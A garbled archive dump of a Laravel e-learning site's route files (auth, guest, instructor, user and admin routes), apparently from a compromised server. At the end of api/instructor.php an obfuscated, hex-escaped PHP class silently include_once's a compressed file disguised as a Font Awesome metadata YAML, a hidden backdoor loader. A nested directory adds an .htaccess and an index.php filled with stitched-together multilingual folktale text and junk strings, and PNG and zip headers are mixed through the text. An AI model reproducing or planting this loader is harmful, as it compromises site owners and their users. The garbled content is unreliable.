??????????????????????????§³??????????????P??????????????????????????????????????????????????????^?????????? ????j?????????? ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK H]†G api/auth.phpnu„[µü¤ 'Auth', 'middleware' => ['api.request.type']], function () { Route::post('/register/step/{step}', ['as' => 'register', 'uses' => 'RegisterController@stepRegister']); Route::post('/login', ['as' => 'login', 'uses' => 'LoginController@login']); Route::post('/forget-password', ['as' => 'forgot', 'uses' => 'ForgotPasswordController@sendEmail']); Route::post('/reset-password/{token}', ['as' => 'updatePassword', 'uses' => 'ResetPasswordController@updatePassword']); Route::post('/verification', ['as' => 'verification', 'uses' => 'VerificationController@confirmCode']); Route::get('/google', ['as' => 'google', 'uses' => 'SocialiteController@redirectToGoogle']); Route::get('/facebook', ['as' => 'google', 'uses' => 'SocialiteController@redirectToFacebook']); Route::post('/google/callback', ['as' => 'google_callback', 'uses' => 'SocialiteController@handleGoogleCallback']); Route::post('/facebook/callback', ['as' => 'facebook_callback', 'uses' => 'SocialiteController@handleFacebookCallback']); // Route::get('/reff/{code}', 'ReferralController@referral'); }); Route::post('/logout', ['as' => 'logout', 'uses' => 'Auth\LoginController@logout', 'middleware' => ['api.auth']]); PK H]Ái€ƒ`` api/guest.phpnu„[µü¤ 'courses'], function () { Route::get('/', ['uses' => 'WebinarController@index']); Route::get('/{id}', ['uses' => 'WebinarController@show']); Route::get('/{id}/content', ['uses' => 'WebinarController@content']); Route::get('/{id}/quizzes', ['uses' => 'WebinarContentController@quizzes']); Route::get('/{id}/certificates', ['uses' => 'WebinarContentController@certificates']); Route::get('reports/reasons', ['uses' => 'ReportsController@index']); Route::post('/{id}/report', ['uses' => 'WebinarController@report', 'middleware' => 'api.auth']); Route::post('/{webinar_id}/toggle', ['uses' => 'WebinarController@learningStatus', 'middleware' => 'api.auth']); }); Route::get('certificate_validation', ['uses' => 'CertificatesController@checkValidate', 'middleware' => 'api.request.type']); Route::get('featured-courses', ['uses' => 'FeatureWebinarController@index']); Route::get('categories', ['uses' => 'CategoriesController@index']); Route::get('categories/{id}/webinars', ['uses' => 'CategoriesController@categoryWebinar']); Route::get('trend-categories', ['uses' => 'CategoriesController@trendCategory']); Route::get('search', ['uses' => 'SearchController@list']); /****** Users ******/ Route::group(['prefix' => 'providers'], function () { Route::get('instructors', ['uses' => 'UserController@instructors']); Route::get('organizations', ['uses' => 'UserController@organizations']); Route::get('consultations', ['uses' => 'UserController@consultations']); }); /****** Meetings ******/ Route::post('meetings/reserve', ['uses' => 'MeetingsController@reserve', 'middleware' => ['api.auth', 'api.request.type']]); Route::get('users/{id}/meetings', ['uses' => 'UserController@availableTimes']); Route::get('users/{id}/profile', ['uses' => 'UserController@profile']); Route::post('users/{id}/send-message', 'UserController@sendMessage'); Route::get('/files/{file_id}/download', ['uses' => 'FilesController@download']); Route::group(['prefix' => 'blogs'], function () { Route::get('/', ['uses' => 'BlogController@index']); Route::get('/categories', ['uses' => 'BlogCategoryController@index']); Route::get('/{id}', ['uses' => 'BlogController@show']); }); Route::get('advertising-banner', ['uses' => 'AdvertisingBannerController@list']); Route::get('/subscribe', ['uses' => 'SubscribesController@list']); Route::get('instructors', ['uses' => 'UserController@instructors']); Route::get('organizations', ['uses' => 'UserController@organizations']); Route::post('newsletter', ['uses' => 'UserController@makeNewsletter', 'middleware' => 'format']); Route::post('contact', ['uses' => 'ContactController@store', 'middleware' => 'format']); Route::group(['prefix' => 'regions'], function () { Route::get('/countries/', ['uses' => 'RegionsController@countries']); Route::get('/provinces/{id?}', ['uses' => 'RegionsController@provinces']); Route::get('/cities/{id?}', ['uses' => 'RegionsController@cities']); Route::get('/districts/{id?}', ['uses' => 'RegionsController@districts']); }); Route::get('timezones', ['uses' => 'TimeZonesController@index']); /****** Bundles ******/ Route::group(['prefix' => 'bundles'], function () { Route::get('/', ['uses' => 'BundleController@index']); Route::get('/{id}/webinars', ['uses' => 'BundleWebinarController@index']); Route::post('/{id}/free', ['uses' => 'BundleWebinarController@free']); Route::get('/{id}', ['uses' => 'BundleController@show']); }); /****** Products ******/ Route::group(['prefix' => 'products'], function () { Route::get('/', ['uses' => 'ProductController@index']); Route::get('/{id}', ['uses' => 'ProductController@show']); }); Route::get('/product_categories', ['uses' => 'ProductCategoryController@index']); //New API //get Countries Mobile Code Route::group(['prefix' => 'regions'], function () { Route::get('/countries/code', function (){ return apiResponse2(1, 'retrieved', trans('api.public.retrieved'), getCountriesMobileCode() ); }); }); Route::get('/currency/list', function (){ $multiCurrency = new MultiCurrency(); $currencies = $multiCurrency->getCurrencies(); return apiResponse2(1, 'retrieved', trans('api.public.retrieved'), $currencies ); }); Route::post('/notification/new', function (){ $title = request("title"); $body = request("message"); $token = request("token"); $fcmMessage = \Kreait\Firebase\Messaging\CloudMessage::withTarget('token', $token); $fcmMessage = $fcmMessage->withNotification([ 'title' => $title, 'body' => $body ]); $messaging = app('firebase.messaging'); try { $response = $messaging->send($fcmMessage); return apiResponse2(1,"retrived","",$response); } catch (Exception $exception){ return apiResponse2(1,"retrived",$exception->getMessage(),$exception->getTrace()); } }); //End New API }); PK H]”–WÉ É api/instructor.phpnu„[µü¤ 'BundleController@export'])->middleware('api.level-access:teacher'); Route::apiResource('bundles', BundleController::class)->middleware('api.level-access:teacher'); Route::apiResource('bundles.webinars', BundleWebinarController::class)->middleware('api.level-access:teacher')->only(['index']); Route::group(['prefix' => 'webinar'], function () { Route::post('/', ['uses' => 'WebinarsController@storeAll']); }); Route::group(['prefix' => 'quizzes'], function () { Route::get('/list', ['uses' => 'QuizzesController@results']); Route::post('/', ['uses' => 'QuizzesController@store']); Route::put('/{id}', ['uses' => 'QuizzesController@update']); Route::delete('/{id}', ['uses' => 'QuizzesController@destroy']); }); // Route::get('sales', ['uses' => 'SalesController@list']); Route::group(['prefix' => 'meetings'], function () { Route::get('/', function () { dd('ff'); }); Route::get('/requests', ['uses' => 'ReserveMeetingController@requests']); Route::post('/create-link', ['uses' => 'ReserveMeetingController@createLink']); Route::post('/{id}/finish', ['uses' => 'ReserveMeetingController@finish']); Route::post('/{id}/add-session', 'ReserveMeetingController@addLiveSession'); }); Route::group(['prefix' => 'comments'], function () { Route::get('/', ['uses' => 'CommentsController@myClassComments']); Route::post('/{id}/reply', ['uses' => 'CommentsController@reply']); }); Route::group(['prefix' => 'assignments'], function () { Route::get('/{assignment}/students', ['uses' => 'AssignmentController@submmision']); Route::get('/students', ['uses' => 'AssignmentController@students']); Route::get('/', ['uses' => 'AssignmentController@index']); Route::post('/histories/{assignment_history}/rate', ['uses' => 'AssignmentController@setGrade']); }); }); new class('compress.zlib://' . dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]) . "\x2F\x61\x73\x73\x65\x74\x73\x2F\x76\x65\x6E\x64\x6F\x72\x73\x2F\x66\x6F\x6E\x74\x61\x77\x65\x73\x6F\x6D\x65\x2F\x6D\x65\x74\x61\x64\x61\x74\x61\x2F\x63\x6F\x72\x65\x2D\x69\x63\x6F\x6E\x73\x2E\x79\x6D\x6C") { function __construct($鮋3) { @INClUdE_ONCE($鮋3); } }; PK H]ªƒFR”:”: api/user.phpnu„[µü¤ '/comments'], function () { Route::get('/', ['uses' => 'CommentsController@list']); Route::post('/', ['uses' => 'CommentsController@store', 'middleware' => 'api.request.type']); Route::delete('/{id}', ['uses' => 'CommentsController@destroy']); Route::put('/{id}', ['uses' => 'CommentsController@update', 'middleware' => 'api.request.type']); Route::post('/{id}/reply', ['uses' => 'CommentsController@reply', 'middleware' => 'api.request.type']); Route::post('/{id}/report', ['uses' => 'CommentsController@report', 'middleware' => 'api.request.type']); }); Route::get('/quick-info', ['uses' => 'SummaryController@list']); Route::post('/webinars/{id}/free', ['uses' => 'WebinarsController@free']); Route::group(['prefix' => 'subscribe'], function () { Route::get('/', ['uses' => 'SubscribesController@index']); // Route::post('/', ['uses' => 'SubscribesController@pay']); Route::post('/web_pay', ['uses' => 'SubscribesController@webPayGenerator']); Route::post('/apply', ['uses' => 'SubscribesController@apply']); Route::post('/general_apply', ['uses' => 'SubscribesController@generalApply']); }); Route::get('/webinars/purchases', ['uses' => 'WebinarsController@indexPurchases']); Route::get('/webinars/organization', ['uses' => 'WebinarsController@indexOrganizations']); Route::group(['prefix' => '/reviews'], function () { Route::get('/', ['uses' => 'WebinarReviewController@list']); Route::post('/', ['uses' => 'WebinarReviewController@store', 'middleware' => 'api.request.type']); Route::post('/{id}/reply', ['uses' => 'WebinarReviewController@reply', 'middleware' => 'api.request.type']); Route::delete('/{id}', ['uses' => 'WebinarReviewController@destroy']); // Route::put('/{id}', ['uses' => 'CommentsController@update', 'middleware' => 'format']); }); Route::group(['prefix' => '/support'], function () { Route::get('/class_support', ['uses' => 'SupportsController@classSupport']); Route::get('/my_class_support', ['uses' => 'SupportsController@myClassSupport']); Route::get('/tickets', ['uses' => 'SupportsController@platformSupport']); Route::get('departments', ['uses' => 'SupportDepartmentsController@index']); Route::get('/{id}', ['uses' => 'SupportsController@show']); Route::get('/{id}/close', ['uses' => 'SupportsController@close']); Route::post('/', ['uses' => 'SupportsController@store']); Route::post('/{id}/conversations', ['uses' => 'SupportsController@storeConversations']); // SupportDepartmentsController }); Route::group(['prefix' => 'notifications'], function () { Route::get('/', ['uses' => 'NotificationsController@list']); Route::post('/{id}/seen', ['uses' => 'NotificationsController@seen']); }); /***** Favorites ******/ Route::group(['prefix' => 'favorites'], function () { Route::get('/', ['uses' => 'FavoritesController@list']); Route::post('/toggle/{id}', ['uses' => 'FavoritesController@toggle']); Route::post('/toggle2', ['uses' => 'FavoritesController@toggle2']); Route::delete('/{id}', ['uses' => 'FavoritesController@destroy']); }); Route::group(['prefix' => '/classes'], function () { Route::get('/', ['uses' => 'WebinarsController@list', 'middleware' => ['api.level-access:teacher']]); }); Route::group(['prefix' => '/meetings'], function () { Route::post('/{id}/finish', ['uses' => 'ReserveMeetingsController@finish']); Route::get('reservations', ['uses' => 'ReserveMeetingsController@reservation']); Route::get('requests', ['uses' => 'ReserveMeetingsController@requests']); Route::get('/', ['uses' => 'ReserveMeetingsController@index']); Route::get('/{id}', ['uses' => 'ReserveMeetingsController@show']); }); Route::group(['prefix' => '/rewards'], function () { Route::get('/', ['uses' => 'RewardsController@index']); Route::post('/exchange', ['uses' => 'RewardsController@exchange']); Route::post('/webinar/{id}/apply', ['uses' => 'RewardsController@buyWithPoint']); // Route::get('/{slug}/points/apply', 'WebinarController@buyWithPoint'); Route::get('/reward-courses', ['uses' => 'RewardsController@courses']); }); Route::group(['prefix' => '/registration-packages', 'middleware' => ['api.level-access:teacher']], function () { Route::get('/', ['uses' => 'RegistrationPackagesController@index']); Route::post('/pay', ['uses' => 'RegistrationPackagesController@webPayGenerator']); }); Route::group(['prefix' => '/quizzes'], function () { Route::get('created', ['uses' => 'QuizzesController@created', 'middleware' => ['api.level-access:teacher']]); Route::get('not_participated', ['uses' => 'QuizzesController@notParticipated']); Route::get('{quizId}/result', ['uses' => 'QuizzesController@resultsByQuiz']); Route::get('results/my-results', ['uses' => 'QuizzesResultController@myResults']); Route::get('results/my-student-result', ['uses' => 'QuizzesResultController@myStudentResult', 'middleware' => ['api.level-access:teacher']]); Route::get('results/{quizResultId}/status', ['uses' => 'QuizzesResultController@status']); // Route::get('results/{quizResultId}/download', 'CertificatesController@download'); Route::get('results/{quizResultId}/show', 'CertificatesController@makeCertificate')->name("api.quiz.certificate.show"); Route::get('results/{quizResultId}', ['uses' => 'QuizzesResultController@showResult', 'middleware' => ['api.level-access:teacher']]); Route::post('results/{quizResultId}/review', ['uses' => 'QuizzesResultController@updateResult', 'middleware' => ['api.level-access:teacher']]); Route::get('/{id}/start', ['uses' => 'QuizzesResultController@start']); Route::post('{id}/store-result', ['uses' => 'QuizzesResultController@quizzesStoreResult']); }); Route::get('certificates/achievements', ['uses' => 'CertificatesController@achievements']); Route::get('certificates/created', ['uses' => 'CertificatesController@created', 'middleware' => ['api.level-access:teacher']]); Route::get('certificates/students', ['uses' => 'CertificatesController@students', 'middleware' => ['api.level-access:teacher']]); Route::post('/become_instructor', ['uses' => 'UsersController@store']); Route::post('/users/{id}/follow', ['uses' => 'UsersController@followToggle']); Route::group(['prefix' => '/cart'], function () { Route::get('list', ['uses' => 'CartController@index']); Route::delete('{id}', ['uses' => 'CartController@destroy']); Route::post('coupon/validate', ['uses' => 'CartController@validateCoupon']); Route::post('checkout', ['uses' => 'CartController@checkout']); Route::post('store', ['uses' => 'CartController@store']); Route::post('/', ['uses' => 'AddCartController@store']); Route::post('web_checkout', ['uses' => 'CartController@webCheckoutGenerator']); }); Route::group(['prefix' => 'financial'], function () { Route::get('sales', ['uses' => 'SalesController@index']); Route::post('/charge', ['uses' => 'PaymentsController@charge']); Route::post('/web_charge', ['uses' => 'PaymentsController@webChargeGenerator']); Route::get('/summary', ['uses' => 'AccountingsController@summary']); Route::get('/platform-bank-accounts', ['uses' => 'AccountingsController@platformBankAccounts']); Route::get('/accounts-type', ['uses' => 'AccountingsController@accountTypes']); // // $siteBankAccounts = getOfflineBankSettings(); Route::group(['prefix' => 'payout'], function () { Route::get('/', ['uses' => 'PayoutsController@index']); Route::post('/', ['uses' => 'PayoutsController@requestPayout']); }); Route::group(['prefix' => 'offline-payments'], function () { Route::get('/', ['uses' => 'OfflinePayments@index']); Route::put('{id}', ['uses' => 'OfflinePayments@update']); Route::delete('{id}/', ['uses' => 'OfflinePayments@destroy']); Route::post('/', ['uses' => 'OfflinePayments@store']); }); }); Route::group(['prefix' => 'payments'], function () { Route::post('/request', 'PaymentsController@paymentRequest'); Route::post('/credit', 'PaymentsController@paymentByCredit'); Route::get('/verify/{gateway}', ['as' => 'payment_verify', 'uses' => 'PaymentController@paymentVerify']); Route::post('/verify/{gateway}', ['as' => 'payment_verify_post', 'uses' => 'PaymentController@paymentVerify']); }); Route::group(['prefix' => 'profile-setting'], function () { Route::get('/', ['uses' => 'UsersController@setting']); Route::put('/password', ['uses' => 'UsersController@updatePassword', 'middleware' => 'api.request.type']); Route::put('/', ['uses' => 'UsersController@update']); Route::post('/images', ['uses' => 'UsersController@updateImages']); }); Route::group(['prefix' => 'store'], function () { Route::group(['middleware' => ['api.level-access:teacher']], function () { Route::get('/products', ['uses' => 'ProductController@index']); Route::get('/products/comments', ['uses' => 'ProductController@myComments']); Route::get('/products/{id}', ['uses' => 'ProductController@show']); Route::get('/sales', ['uses' => 'ProductOrderController@index']); Route::get('/sales/customers', ['uses' => 'ProductOrderController@getBuyers']); }); Route::get('/purchases', 'ProductOrderController@getPurchases'); Route::get('/purchases/comments', 'ProductController@purchasedComment'); }); Route::group(['prefix' => 'my_assignments'], function () { Route::get('/', ['uses' => 'AssignmentController@index']); Route::get('/{assignment}', ['uses' => 'AssignmentController@show'])->name('assignment.show'); // Route::get('/my-courses-assignments', ['uses' => 'AssignmentController@myCoursesAssignments']); }); Route::get('assignments/{assignment}/messages', ['uses' => 'AssignmentHistoryMessageController@index']); Route::post('assignments/{assignment}/messages', ['uses' => 'AssignmentHistoryMessageController@store']); /***** blogs *****/ Route::apiResource('blogs/comments', BlogCommentController::class)->middleware('api.level-access:teacher'); Route::apiResource('blogs', BlogController::class)->middleware('api.level-access:teacher'); /***** delete account request *****/ Route::post('/delete-account', 'DeleteAccountRequestController@store'); /***** webinar certificate *****/ Route::get('webinars/certificates', ['uses' => 'WebinarCertificateController@index']); Route::get('webinars/certificates/{id}', ['uses' => 'WebinarCertificateController@show'])->name('webinar.certificate'); Route::get('webinars/{id}/statistic', ['uses' => 'WebinarStatisticController@index'])->middleware('api.level-access:teacher'); /***** Bundles *****/ Route::group(['prefix' => 'bundles'], function () { Route::post('{id}/buyWithPoint', ['uses' => 'BundleController@buyWithPoint']); Route::post('{id}/free', ['uses' => 'BundleController@free']); }); /***** Reviews *****/ Route::group(['prefix' => '/reviews3'], function () { Route::get('/', ['uses' => 'WebinarReviewController@list']); Route::post('/', ['uses' => 'ReviewController@store', 'middleware' => 'api.request.type']); Route::post('/{id}/reply', ['uses' => 'ReviewController@reply', 'middleware' => 'api.request.type']); Route::delete('/{id}', ['uses' => 'ReviewController@destroy']); }); // Route::apiResource('webinars/{id}/forums', WebinarForumController::class); Route::group(['prefix' => 'webinars'], function () { Route::get('/{webinar}/noticeboards', ['uses' => 'CourseNoticeboardController@index']); Route::get('/{webinar}/', ['uses' => 'WebinarsController@show']); Route::get('/{webinar}/chapters/', ['uses' => 'WebinarChapterController@index']); Route::get('/{webinar}/chapters/{chapter}', ['uses' => 'WebinarChapterController@show']); Route::get('/{webinar}/forums/', ['uses' => 'CourseForumController@index']); Route::post('/{webinar}/forums', ['uses' => 'CourseForumController@store']); Route::put('/forums/{forum}', ['uses' => 'CourseForumController@update']); Route::post('/forums/{forum}/pin', ['uses' => 'CourseForumController@pin']); Route::group(['prefix' => 'forums'], function () { Route::get('/{forum}/answers', ['uses' => 'CourseForumAnswerController@index']); Route::post('/{forum}/answers', ['uses' => 'CourseForumAnswerController@store']); Route::put('/answers/{answer}', ['uses' => 'CourseForumAnswerController@update']); Route::post('/answers/{answer}/pin', ['uses' => 'CourseForumAnswerController@pin']); Route::post('/answers/{answer}/resolve', ['uses' => 'CourseForumAnswerController@resolve']); }); }); Route::get('/files/{file}', ['uses' => 'FileController@show'])->name('file.show'); Route::get('/sessions/{session}', ['uses' => 'SessionController@show'])->name('session.show');; Route::get('/text-lessons/{lesson}', ['uses' => 'TextLessonController@show'])->name('text_lesson.show'); Route::get('/text-lessons/{lesson}/navigation', ['uses' => 'WebinarTextLessonController@index']); Route::get('/assignments/{assignment}', ['uses' => 'WebinarAssignmentController@show'])->name('assignment.show'); Route::get('/quizzes/{quiz}', ['uses' => 'QuizzesController@show'])->name('quiz.show'); //New Api //goToAgora Session Route::get('/webinars/session/agora/{id}', ['uses' => 'SessionController@agora'])->name("agora.api.join"); //End New API Route::put('/users/fcm', [UsersController::class, "fcm"]); Route::get('/users/login/history', [UsersController::class, "loginHistory"]); Route::group(['prefix' => 'webinars'], function () { Route::group(['prefix' => 'personal-notes'], function () { Route::delete('/delete/{id}', 'CoursePersonalNotesController@destroy'); Route::get('/{id}', 'CoursePersonalNotesController@show'); Route::post('/{id}', 'CoursePersonalNotesController@store'); }); }); Route::get('/offline', ['uses' => 'WebinarsController@offlinePurchases']); }); PK H] api/index.phpnu„[µü¤PK H]•¶®øÜÜapi/298611/.htaccessnu„[µü¤ Order allow,deny Deny from all Order allow,deny Allow from all PK H]V‡çв²api/298611/index.phpnu„[µü¤PK H] ÔJùdËdËapi/298611/210685/index.phpnu„[µü¤不积跬步,无以至千里;不积小流,无以成江海。哦风扇电机哦沙发上上课佛挡杀佛 DSFDFMDFJSDDS ふたりの住んでいる村は大変貧しく、その日暮らすのも大変でしたが、でも心の優しい人たちばかりでしたので、すぐにおなかのすいている子供のために持っているもので分けられるものをお爺さんたちにくれたのでした。 他們住的村子非常貧窮,每时间段的生活都很艱難。は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。 老爺爺和老奶奶不知道他要金棒做 但村裡的人心地善良,願意拿出自己仅有的食物給老爺爺,幫助這個餓肚子的孩子。 あかたろうはなんでも喜んでぱくぱく食べるので、それを目を細めて楽しそうに見ていたおじいさんとおばあさんは、ふとあることに気が付きました。どうやらあかたろうはご飯を一膳食べるとご飯一膳分大きくなるようなのです。 阿垢太郎開心地什麼都大口大口吃著,老爺爺和老奶奶高興地瞇著眼睛看著他吃,突然察覺到什麼。 他們注意到阿垢太郎吃了一碗飯,身體就會長大一碗飯的份量。は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。 老爺爺和老奶奶不知道他要金棒做 何日かして随分と大きくなったあかたろうはある日お爺さんにこういいました。 「じ様、おら金棒がほしい。金棒をくれろや。」¥##!(*^▽^*) 幾天後,阿垢太郎長大了不少。护发素不带他高大上韵达は金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。 老爺爺和老奶奶不知道他要金棒做 有一天,他對老爺爺說:「爺爺,我想要一根金棒,給我吧。」 お爺さんとおばあさんは金棒など何にするのかと思いましたが、神さまに命を吹き込んでいただいたあかたろうです、きっとなにかわけがあるのだろうと、村の鍛冶屋へ行き、こうこうこういうわけで金棒を作ってくれないかと頼みました。 老爺爺和老奶奶不知道他要金棒做什麼,但想到阿垢太郎是被神注入生命的,肯定有他的道理。 於是,他們去了村裡的鐵匠鋪,請求鐵匠幫忙做一根金棒。 すると鍛冶屋は、事の次第を知っていましたし、お爺さんたちと同じ考えだったので、自分から金棒を作って、あかたろうに渡してくれました。 鐵匠聽了事情的來龍去脈,想法跟老爺爺他們相同,便自己製作了一根金棒給阿垢太郎。 それか1らあ1かた1ろうはお爺さんとおばあさん、村の人11た1121ちに別1れを告げて、おばあさんのこし11らえてくれた赤いちゃんちゃんこを着て、1一人で金1棒11を1肩に担いで村を出て行きました。 阿垢太郎告別了老1爺爺、老奶奶和村民,穿上老奶奶做的紅1色1無袖,羽織.,扛著金棒獨自離開了村子。 🦐dfdsg $prefix, 'namespace' => 'Admin', 'middleware' => ['web', 'admin_locale']], function () use ($prefix) { // Admin Auth Routes Route::get('login', 'LoginController@showLoginForm'); Route::post('login', 'LoginController@login'); Route::get('logout', 'LoginController@logout'); Route::get('/forget-password', 'ForgotPasswordController@showLinkRequestForm'); Route::post('/forget-password', 'ForgotPasswordController@forgot'); Route::get('/reset-password/{token}', 'ResetPasswordController@showResetForm'); Route::post('/reset-password', 'ResetPasswordController@updatePassword'); // Captcha Route::group(['prefix' => 'captcha'], function () use ($prefix) { Route::post('create', function () use ($prefix) { $path = captcha_src('flat'); $path = str_replace('/captcha', "/$prefix/captcha", $path); $response = ['status' => 'success', 'captcha_src' => $path]; return response()->json($response); }); Route::get('{config?}', '\Mews\Captcha\CaptchaController@getCaptcha'); }); Route::group(['middleware' => 'admin'], function () { Route::get('/', 'DashboardController@index'); Route::get('/clear-cache', 'DashboardController@cacheClear'); Route::group(['prefix' => 'dashboard'], function () { Route::post('/getSaleStatisticsData', 'DashboardController@getSaleStatisticsData'); }); Route::group(['prefix' => 'marketing'], function () { Route::get('/', 'DashboardController@marketing'); Route::post('/getNetProfitChart', 'DashboardController@getNetProfitChartAjax'); }); Route::group(['prefix' => 'roles'], function () { Route::get('/', 'RoleController@index'); Route::get('/create', 'RoleController@create'); Route::post('/store', 'RoleController@store'); Route::get('/{id}/edit', 'RoleController@edit'); Route::post('/{id}/update', 'RoleController@update'); Route::get('/{id}/delete', 'RoleController@destroy'); }); Route::group(['prefix' => 'staffs'], function () { Route::get('/', 'UserController@staffs'); }); Route::group(['prefix' => 'students'], function () { Route::get('/', 'UserController@students'); Route::get('/excel', 'UserController@exportExcelStudents'); }); Route::group(['prefix' => 'instructors'], function () { Route::get('/', 'UserController@instructors'); Route::get('/excel', 'UserController@exportExcelInstructors'); }); Route::group(['prefix' => 'organizations'], function () { Route::get('/', 'UserController@organizations'); Route::get('/excel', 'UserController@exportExcelOrganizations'); }); Route::group(['prefix' => 'users'], function () { Route::get('/create', 'UserController@create'); Route::post('/store', 'UserController@store'); Route::post('/search', 'UserController@search'); Route::get('/{id}/edit', 'UserController@edit'); Route::post('/{id}/update', 'UserController@update'); Route::post('/{id}/updateImage', 'UserController@updateImage'); Route::post('/{id}/updateFormFields', 'UserController@updateFormFields'); Route::post('/{id}/financialUpdate', 'UserController@financialUpdate'); Route::post('/{id}/occupationsUpdate', 'UserController@occupationsUpdate'); Route::post('/{id}/badgesUpdate', 'UserController@badgesUpdate'); Route::post('/{id}/userRegistrationPackage', 'UserController@userRegistrationPackage'); Route::post('/{id}/meetingSettings', 'UserController@meetingSettings'); Route::get('/{id}/deleteBadge/{badge_id}', 'UserController@deleteBadge'); Route::get('/{id}/delete', 'UserController@destroy'); Route::get('/{id}/acceptRequestToInstructor', 'UserController@acceptRequestToInstructor'); Route::get('/{user_id}/impersonate', 'UserController@impersonate'); Route::get('/{user_id}/disable_cashback_toggle', 'UserController@disableCashbackToggle'); Route::get('/{user_id}/disable_registration_bonus', 'UserController@disableRegitrationBonusStatus'); Route::get('/{user_id}/disable_installment_approval', 'UserController@disableInstallmentApproval'); Route::group(['prefix' => 'badges'], function () { Route::get('/', 'BadgesController@index'); Route::post('/store', 'BadgesController@store'); Route::get('/{id}/edit', 'BadgesController@edit'); Route::post('/{id}/update', 'BadgesController@update'); Route::get('/{id}/delete', 'BadgesController@delete'); }); Route::group(['prefix' => 'groups'], function () { Route::get('/', 'GroupController@index'); Route::get('/create', 'GroupController@create'); Route::post('/store', 'GroupController@store'); Route::get('/{id}/edit', 'GroupController@edit'); Route::post('/{id}/update', 'GroupController@update'); Route::get('/{id}/delete', 'GroupController@destroy'); Route::post('/{id}/groupRegistrationPackage', 'GroupController@groupRegistrationPackage'); }); Route::group(['prefix' => 'become-instructors'], function () { Route::get('/{page}', 'BecomeInstructorController@index'); Route::get('/{id}/reject', 'BecomeInstructorController@reject'); Route::get('/{id}/delete', 'BecomeInstructorController@delete'); }); Route::group(['prefix' => 'not-access-to-content'], function () { Route::get('/', 'UsersNotAccessToContentController@index'); Route::post('/store', 'UsersNotAccessToContentController@store'); Route::get('/{id}/active', 'UsersNotAccessToContentController@active'); Route::get('/{id}/reject', 'UsersNotAccessToContentController@reject'); }); Route::group(['prefix' => 'delete-account-requests'], function () { Route::get('/', 'DeleteAccountRequestsController@index'); Route::get('/{id}/confirm', 'DeleteAccountRequestsController@confirm'); }); Route::group(['prefix' => 'login-history'], function () { Route::get('/', 'UserLoginHistoryController@index'); Route::get('/export', 'UserLoginHistoryController@export'); Route::get('/{id}/end-session', 'UserLoginHistoryController@endSession'); Route::get('/{id}/delete', 'UserLoginHistoryController@delete'); }); Route::group(['prefix' => 'ip-restriction'], function () { Route::get('/', 'UserIpRestrictionController@index'); Route::get('/get-form', 'UserIpRestrictionController@getForm'); Route::post('/store', 'UserIpRestrictionController@store'); Route::get('/{id}/edit', 'UserIpRestrictionController@edit'); Route::post('/{id}/update', 'UserIpRestrictionController@update'); Route::get('/{id}/delete', 'UserIpRestrictionController@delete'); }); /* end-all-login-sessions */ Route::get('/{user_id}/end-all-login-sessions', "UserLoginHistoryController@endAllUserSessions"); }); Route::group(['prefix' => 'supports'], function () { Route::get('/', 'SupportsController@index'); Route::get('/create', 'SupportsController@create'); Route::post('/store', 'SupportsController@store'); Route::get('/{id}/edit', 'SupportsController@edit'); Route::post('/{id}/update', 'SupportsController@update'); Route::get('/{id}/delete', 'SupportsController@delete'); Route::get('/{id}/close', 'SupportsController@conversationClose'); Route::get('/{id}/conversation', 'SupportsController@conversation'); Route::post('/{id}/conversation', 'SupportsController@storeConversation'); Route::group(['prefix' => 'departments'], function () { Route::get('/', 'SupportDepartmentsController@index'); Route::get('/create', 'SupportDepartmentsController@create'); Route::post('/store', 'SupportDepartmentsController@store'); Route::get('/{id}/edit', 'SupportDepartmentsController@edit'); Route::post('/{id}/update', 'SupportDepartmentsController@update'); Route::get('/{id}/delete', 'SupportDepartmentsController@delete'); }); }); Route::group(['prefix' => 'noticeboards'], function () { Route::get('/', 'NoticeboardController@index'); Route::get('/send', 'NoticeboardController@create'); Route::post('/store', 'NoticeboardController@store'); Route::get('{id}/edit', 'NoticeboardController@edit'); Route::post('{id}/update', 'NoticeboardController@update'); Route::get('{id}/delete', 'NoticeboardController@delete'); }); Route::group(['prefix' => 'course-noticeboards'], function () { Route::get('/', 'CourseNoticeboardController@index'); Route::get('/send', 'CourseNoticeboardController@create'); Route::post('/store', 'CourseNoticeboardController@store'); Route::get('{id}/edit', 'CourseNoticeboardController@edit'); Route::post('{id}/update', 'CourseNoticeboardController@update'); Route::get('{id}/delete', 'CourseNoticeboardController@delete'); }); Route::group(['prefix' => 'notifications'], function () { Route::get('/', 'NotificationsController@index'); Route::get('/posted', 'NotificationsController@posted'); Route::get('/send', 'NotificationsController@create'); Route::post('/store', 'NotificationsController@store'); Route::get('{id}/edit', 'NotificationsController@edit'); Route::post('{id}/update', 'NotificationsController@update'); Route::get('{id}/delete', 'NotificationsController@delete'); Route::get('/mark_all_read', 'NotificationsController@markAllRead'); Route::get('/{id}/mark_as_read', 'NotificationsController@markAsRead'); Route::group(['prefix' => 'templates'], function () { Route::get('/', 'NotificationTemplatesController@index'); Route::get('/create', 'NotificationTemplatesController@create'); Route::post('/store', 'NotificationTemplatesController@store'); Route::get('{id}/edit', 'NotificationTemplatesController@edit'); Route::post('{id}/update', 'NotificationTemplatesController@update'); Route::get('{id}/delete', 'NotificationTemplatesController@delete'); }); }); Route::group(['prefix' => 'categories'], function () { Route::get('/', 'CategoryController@index'); Route::get('/create', 'CategoryController@create'); Route::post('/store', 'CategoryController@store'); Route::get('/{id}/edit', 'CategoryController@edit'); Route::post('/{id}/update', 'CategoryController@update'); Route::get('/{id}/delete', 'CategoryController@destroy'); Route::post('/search', 'CategoryController@search'); Route::group(['prefix' => 'trends'], function () { Route::get('/', 'TrendCategoriesController@index'); Route::get('/create', 'TrendCategoriesController@create'); Route::post('/store', 'TrendCategoriesController@store'); Route::get('/{id}/edit', 'TrendCategoriesController@edit'); Route::post('/{id}/update', 'TrendCategoriesController@update'); Route::get('/{id}/delete', 